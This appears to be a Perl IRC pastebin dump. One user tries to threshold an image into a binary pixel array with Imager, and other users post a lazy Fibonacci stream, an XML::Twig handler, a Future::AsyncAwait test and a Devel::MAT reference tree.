            bless( do{\(my $o = 169854976)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854992)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854760)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169855296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855408)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860136)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860152)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860168)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860184)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860200)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860216)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860280)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860312)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860328)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860344)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860408)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860424)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860504)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860520)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860536)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860552)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860568)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860584)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860600)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860616)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860632)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860696)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860712)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860728)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860744)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860776)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860792)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860808)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860824)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860840)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860904)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860920)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860936)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860952)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860968)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860984)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861000)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861016)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861032)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861048)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861112)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861128)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861144)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861160)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861176)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861192)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861208)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861224)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861240)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861256)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861320)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861336)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861352)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861368)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861384)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861400)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861416)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861432)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861448)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861464)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861544)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861560)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861576)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195880)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195896)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854512)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854592)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169854608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854688)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861592)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861624)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861640)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861656)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861688)}, 'Imager::Color' )
          ]
        ];

#But what I need is to receive something like:

$VAR1 = [
          [
            255 ),
            128 ),
            250 ),
            0' ),
            128 ),
            56 ),
            128 ),
            0 ),
            0 ),
            253 )
          ]...
    
#So I can convert this image to a binary image, using a border, 
#if it is larger than this border is black if it is smaller then white, 
#so it would have a multidimensional array like this:

$VAR1 = [
          [
            1 ),
            0 ),
            0 ),
            1' ),
            0 ),
            1 ),
            1 ),
            0 ),
            0 ),
            1 )
          ]...
#Which would be the binary image (black and white).


paste:
#!/bin/perl

use warnings;
use strict;
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/tutorial3.png";
$read_image->read(file=>$image_source)
  or die Imager->errstr();

my $width = $read_image->getwidth;
my $height = $read_image->getheight;
my @array = map [$read_image->getpixel(x => [0 .. $width-1], y => $_)], 0 .. $height-1;
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;

print "$array[1][1]\n"; 

use Data::Dumper qw(Dumper);
print Dumper \@arrayb;

#I'm getting this:
$VAR1 = [];

#I still do not understand how to use this:
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;
#I understand that you have put a limit, 
#and that is to be applied in every pixel of the @array right?

#Trying to:
my @arrayb;
my $con = 0;
foreach (@array){
$arrayb[$con] = map [ 0 + ( ( $con->hsv )[2] > 0.5 ) ];
$con++;
};
    
#I'm getting this:
$VAR1 = [
          0,
          0,
          0,
          0,
          0,
          0,
          0,
          0,
          0,
          0
        ];
        
        
#I am missing the syntax of this, 
#I have to go through each pixel of @array and pass the limit, 
#to be white or black(0 or 1) with the line you told me, 
#but I still do not understand the syntax of the line.





#old
#I'm getting this:

Imager::Color=SCALAR(0xa1fcd2c)
$VAR1 = [
          [
            bless( do{\(my $o = 172857760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854472)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859832)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859848)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854944)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854960)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854976)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854992)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854760)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169855296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855408)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860136)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860152)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860168)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860184)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860200)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860216)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860280)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860312)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860328)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860344)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860408)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860424)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860504)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860520)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860536)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860552)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860568)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860584)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860600)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860616)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860632)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860696)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860712)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860728)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860744)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860776)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860792)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860808)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860824)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860840)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860904)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860920)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860936)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860952)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860968)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860984)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861000)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861016)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861032)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861048)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861112)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861128)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861144)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861160)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861176)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861192)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861208)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861224)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861240)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861256)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861320)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861336)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861352)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861368)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861384)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861400)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861416)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861432)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861448)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861464)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861544)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861560)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861576)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195880)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195896)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854512)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854592)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169854608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854688)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861592)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861624)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861640)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861656)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861688)}, 'Imager::Color' )
          ]
        ];

#But what I need is to receive something like:

$VAR1 = [
          [
            255 ),
            128 ),
            250 ),
            0' ),
            128 ),
            56 ),
            128 ),
            0 ),
            0 ),
            253 )
          ]...
    
#So I can convert this image to a binary image, using a border, 
#if it is larger than this border is black if it is smaller then white, 
#so it would have a multidimensional array like this:

$VAR1 = [
          [
            1 ),
            0 ),
            0 ),
            1' ),
            0 ),
            1 ),
            1 ),
            0 ),
            0 ),
            1 )
          ]...
#Which would be the binary image (black and white).


paste:
#!/bin/perl

use warnings;
use strict;
use Imager;
 
my $read_image = Imager->new;

my $image_source = "$ENV{PWD}/tutorial3.png";
$read_image->read(file=>$image_source)
  or die Imager->errstr();

my $width = $read_image->getwidth;
my $height = $read_image->getheight;
my @array = map [$read_image->getpixel(x => [0 .. $width-1], y => $_)], 0 .. $height-1;
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;

print "$array[1][1]\n"; 

use Data::Dumper qw(Dumper);
print Dumper \@arrayb;

#I'm getting this:
$VAR1 = [];

#I still do not understand how to use this:
my @arrayb = map [ 0 + ( ( $_->hsv )[2] > 0.5 ) ] ;
#I understand that you have put a limit, 
#and that is to be applied in every pixel of the @array right?

#NEW
#Trying to:
my @arrayb;
for(my $i = 0; $i < $width; $i++){
	for(my $j = 0; $j < $height; $j++){
		$arrayb[$i][$j] = map [ 0 + ( ( $array[$i][$j]->hsv )[2] > 0.5 ) ];
	} 	
};
    
#I'm getting this:
$VAR1 = [
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ],
          [
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0,
            0
          ]
        ];

#I'm only getting 0 because?
        
        
#I am missing the syntax of this, 
#I have to go through each pixel of @array and pass the limit, 
#to be white or black(0 or 1) with the line you told me, 
#but I still do not understand the syntax of the line.





#old
#I'm getting this:

Imager::Color=SCALAR(0xa1fcd2c)
$VAR1 = [
          [
            bless( do{\(my $o = 172857760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854472)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859832)}, 'Imager::Color' ),
            bless( do{\(my $o = 169859848)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854944)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854960)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854976)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854992)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854760)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169855296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169855408)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860136)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860152)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860168)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860184)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860200)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860216)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860280)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860296)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860312)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860328)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860344)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860360)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860376)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860392)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860408)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860424)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860488)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860504)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860520)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860536)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860552)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860568)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860584)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860600)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860616)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860632)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860696)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860712)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860728)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860744)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860760)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860776)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860792)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860808)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860824)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169860840)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860904)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860920)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860936)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860952)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860968)}, 'Imager::Color' ),
            bless( do{\(my $o = 169860984)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861000)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861016)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861032)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861048)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861112)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861128)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861144)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861160)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861176)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861192)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861208)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861224)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861240)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861256)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861320)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861336)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861352)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861368)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861384)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861400)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861416)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861432)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861448)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169861464)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861544)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861560)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861576)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195880)}, 'Imager::Color' ),
            bless( do{\(my $o = 171195896)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854512)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854528)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854592)}, 'Imager::Color' )
          ],
          [
            bless( do{\(my $o = 169854608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169854688)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861592)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861608)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861624)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861640)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861656)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861672)}, 'Imager::Color' ),
            bless( do{\(my $o = 169861688)}, 'Imager::Color' )
          ]
        ];

#But what I need is to receive something like:

$VAR1 = [
          [
            255 ),
            128 ),
            250 ),
            0' ),
            128 ),
            56 ),
            128 ),
            0 ),
            0 ),
            253 )
          ]...
    
#So I can convert this image to a binary image, using a border, 
#if it is larger than this border is black if it is smaller then white, 
#so it would have a multidimensional array like this:

$VAR1 = [
          [
            1 ),
            0 ),
            0 ),
            1' ),
            0 ),
            1 ),
            1 ),
            0 ),
            0 ),
            1 )
          ]...
#Which would be the binary image (black and white).


where: localhost:perlbot:#perl
what: recursion lexically with memory leak
paste:
package Stream;
use v5.20;

sub cons_lazy { bless [shift, shift] }
sub car       { shift->[0] }
sub cdr       { shift->[1]->() }

sub delay (&) { 
	my $f = shift; my $memo;
	sub {
		if ( defined $memo )
			{ $memo }
		else
			{ return $memo = $f->() }
	}
}


sub add_stream{
	my ($l1, $l2) = @_;
	cons_lazy( $l1->car + $l2->car,
		delay{ add_stream( 	$l1->cdr,
								$l2->cdr) })
}

my $fib;
$fib = cons_lazy( 1,
		   delay{ cons_lazy( 1,
				      delay{ add_stream( $fib,
									     $fib->cdr) })});

my $p = $fib;
for (0..100){ say $p->car; $p = $p->cdr }


who: gordonfish
where: localhost:perlbot-magnet:#perl
paste:
use strict;
use warnings;
use feature qw( say );

use XML::Twig;


my $t= XML::Twig->new( twig_handlers => {
   q{foo[@bar='yes']} => sub {
      my( $t, $e )= @_;
      
      say sprintf q{%-20s "%s"}, 
         $e->{att}->{name}, $e->first_child( 'description' )->text;
      
      $e->flush;
   }
} );

my $chunk;

$t->parse( $chunk ) while ( read STDIN, $chunk, 8192 );


who: gordonfish
where: localhost:perlbot-magnet:#perl
what: Why is this not printing anything?
paste:
use strict;
use warnings;
use feature qw( say );

use XML::Twig;


my $t= XML::Twig->new( twig_handlers => {
   q{foo[@bar='yes']} => sub {
      my( $t, $e )= @_;
      
      say sprintf q{%-20s "%s"}, 
         $e->{att}->{name}, $e->first_child( 'description' )->text;
      
      $e->flush;
   }
} );

my $chunk;

$t->parse( $chunk ) while ( read STDIN, $chunk, 8192 );

# Example of target tag:
# <foo name="Name" bar="blah">...<description>something</description>...</foo>


who: LeoNerd
where: localhost:perlbot:#perl
what: pink_mist: Some progress
paste:
#!/usr/bin/perl

use strict;
use warnings;

use Test::More;

use Future;

use Future::AsyncAwait qw( async );

async sub identity
{
   await $_[0];
}

# scalar
{
   my $f1 = Future->new;
   my $f2 = identity( $f1 );

   isa_ok( $f2, "Future", 'identity() returns a Future' );

   ok( !$f2->is_ready, '$f2 is not immediate for pending scalar' );

   $f1->done( "result" );
   is( scalar $f2->get, "result", '$f2->get for done scalar' );
}

done_testing;


who: ningu
where: localhost:perlbot:#perl
what: identify output for Type::Tiny
paste:
HASH(11) at 0xaa65838 is:
└─the referrant of REF() at 0xab7d840, which is:
  └─value {parent} of HASH(11) at 0xaa94028, which is:
    └─the referrant of REF() at 0xab7db58, which is:
      └─value {parent} of HASH(11) at 0xaa9e9e0, which is:
        └─the referrant of REF() at 0xab7db70, which is:
          └─value {parent} of HASH(11) at 0xaa9e800, which is:
            └─the referrant of REF() at 0xab7dbe8, which is:
              └─value {parent} of HASH(10) at 0xaa9e650, which is:
                └─the referrant of REF() at 0xab7de70, which is:
                  └─value {parent} of HASH(9) at 0xaa9e728, which is:
                    └─the referrant of REF() at 0xab7e0f8, which is:
                      └─value {parent} of HASH(11) at 0xaa93d10, which is:
                        ├─the referrant of REF() at 0xaa9ff28, which is:
                        │ └─value {parent} of HASH(11) at 0xaa9fef8, which is:
                        │   └─the referrant of REF() at 0xaaa0270, which is:
                        │     └─value {parent} of HASH(9) at 0xaa9fec8, which is:
                        │       └─the referrant of REF() at 0xaa816c0, which is:
                        │         └─value {type} of HASH(1) at 0x7de0a98, which is:
                        │           └─the referrant of REF() at 0xa951f58, which is:
                        │             └─element [3] of ARRAY(4) at 0xaa9ff10, which is:
                        │               └─the referrant of REF() at 0xaa93248, which is:
                        │                 └─value {actions} of HASH(36) at 0xaa9e848, which is:
                        │                   ├─the referrant of REF() at 0x3b3cbdf8, which is:
                        │                   │ └─value {field_def} of HASH(9) at 0x560e11d0, which is:
                        │                   │   └─the referrant of REF() at 0x560f05a8, which is:
                        │                   │     └─element [2] of ARRAY(5) at 0x3b3d1398, which is (*A):
                        │                   │       └─the referrant of REF() at 0xbf519c8, which is:
                        │                   │         └─value {_results} of HASH(10) at 0x3b3ce388, which is:
                        │                   │           └─the referrant of REF() at 0x3b3dec30, which is:
                        │                   │             └─value {result} of HASH(38) at 0xa7be340, which is (*B):
                        │                   │               └─the referrant of REF() at 0xaad89c0, which is:
                        │                   │                 └─value {editorial} of HASH(3) at 0x6200860, which is:
                        │                   │                   └─the referrant of REF() at 0xaa78368, which is:
                        │                   │                     └─value {forms} of HASH(17) at 0x62fba90, which is:
                        │                   │                       └─the referrant of REF() at 0x20d7b68, which is:
                        │                   │                         ├─the lexical $bot of PAD(3) at 0x635def8, which is:
                        │                   │                         │ └─pad at depth 1 of CODE(PP,C) at 0x6342af0, which is:
                        │                   │                         │   └─the referrant of REF() at 0x20c2370, which is:
                        │                   │                         │     └─value {HUP} of HASH(68) at 0x20c2358, which is:
                        │                   │                         │       └─the hash of GLOB(%*I) at 0x20c23a0, which is:
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x27eccb0, which is:
                        │                   │                         │         │ └─the code of GLOB(&*) at 0x27eccf8, which is:
                        │                   │                         │         │   └─value {DELETE} of STASH(18) at 0x27de0c0, which is (*C):
                        │                   │                         │         │     └─the hash of GLOB(%*) at 0x27de0a8, which is:
                        │                   │                         │         │       └─value {SigRt::} of STASH(761) at 0x26b6f08, which is:
                        │                   │                         │         │         └─the hash of GLOB(%*) at 0x26c9eb0, which is:
                        │                   │                         │         │           └─value {POSIX::} of STASH(1659) at 0x2083ff8, which is:
                        │                   │                         │         │             └─the default stash
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x27ecd28, which is:
                        │                   │                         │         │ └─the code of GLOB(&*) at 0x27ecde8, which is:
                        │                   │                         │         │   └─value {CLEAR} of STASH(18) at 0x27de0c0, which is:
                        │                   │                         │         │     └─already found as *C
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x60b5eb8, which is (*D):
                        │                   │                         │         │ └─the code of GLOB(&*) at 0x60c8438, which is:
                        │                   │                         │         │   └─value {sign} of STASH(39) at 0x5fe7ac0, which is:
                        │                   │                         │         │     └─the hash of GLOB(%*) at 0x5fe7aa8, which is:
                        │                   │                         │         │       └─value {Internet::} of STASH(6) at 0x5fe7a90, which is:
                        │                   │                         │         │         └─the hash of GLOB(%*) at 0x5fe7a78, which is:
                        │                   │                         │         │           └─value {Mail::} of STASH(1659) at 0x2083ff8, which is:
                        │                   │                         │         │             └─the default stash
                        │                   │                         │         ├─a referenced glob of CODE(PP) at 0x60b5eb8, which is:
                        │                   │                         │         │ └─already found as *D
